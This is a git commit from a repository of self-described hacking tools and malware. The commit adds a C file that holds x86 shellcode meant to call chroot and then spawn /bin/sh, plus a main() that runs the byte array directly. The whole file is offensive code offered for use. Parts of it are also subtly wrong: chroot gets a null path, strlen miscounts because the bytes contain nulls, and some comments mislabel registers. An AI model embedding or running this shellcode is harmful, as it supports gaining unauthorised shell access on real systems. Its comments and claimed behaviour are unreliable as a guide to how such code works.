Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Create chroot Shellcode.c

Abdul Wahab Junaid76b8a662eaf9
diff --git a/C Hacking Tools/chroot Shellcode.c b/C Hacking Tools/chroot Shellcode.c
new file mode 100644
index 0000000..34ba2ef
--- /dev/null
+++ b/C Hacking Tools/chroot Shellcode.c
@@ -0,0 +1,25 @@
+#include <stdio.h>
+#include <string.h>
+
+unsigned char shellcode[] = \
+ "\x31\xdb" // xor ebx, ebx
+ "\x31\xc9" // xor ecx, ecx
+ "\x31\xd2" // xor edx, edx
+ "\xb8\xa1\x00\x00\x00" // mov eax, 161 (syscall number for chroot)
+ "\xcd\x80" // int 0x80 (call syscall)
+
+ "\x31\xc0" // xor eax, eax
+ "\x50" // push eax (null terminator for argv)
+ "\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (//sh)
+ "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f (/bin)
+ "\x89\xe3" // mov ebx, esp (set ebx to point to command string)
+ "\x50" // push eax (null terminator for environment variables)
+ "\x89\xe2" // mov ecx, esp (set ecx to point to environment variables)
+ "\xb0\x0b" // mov al, 11 (syscall number for execve)
+ "\xcd\x80"; // int 0x80 (call syscall)
+
+int main() {
+ printf("Shellcode Length: %lu\n", strlen(shellcode));
+ (*(void (*)()) shellcode)();
+ return 0;
+}